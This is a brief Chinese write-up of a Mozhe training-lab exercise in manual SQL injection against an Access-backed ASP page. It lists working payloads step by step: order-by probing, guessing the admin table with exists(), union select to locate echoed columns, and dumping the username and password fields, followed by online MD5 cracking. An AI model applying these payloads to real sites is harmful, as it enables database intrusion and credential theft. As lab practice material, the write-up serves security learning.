墨者 - SQL手工注入漏洞测试(Access数据库)

order by 1 ,有回显，存在注入点

new_list.asp?id=1 and exists(select * from admin)  测试是否存在admin，纯靠猜......

 存在admin表，接下来测回显位置 /new_list.asp?id=1 union select 1,2,3,4 from admin

 

 

 

接下来猜字段值，and exists (select id from admin)，没错你没看错纯靠猜....

 

 猜测为id，username,passwd 经过验证页面也是有会显

union select 1,username,passwd,id from admin 爆字段值

 

md5 在线解密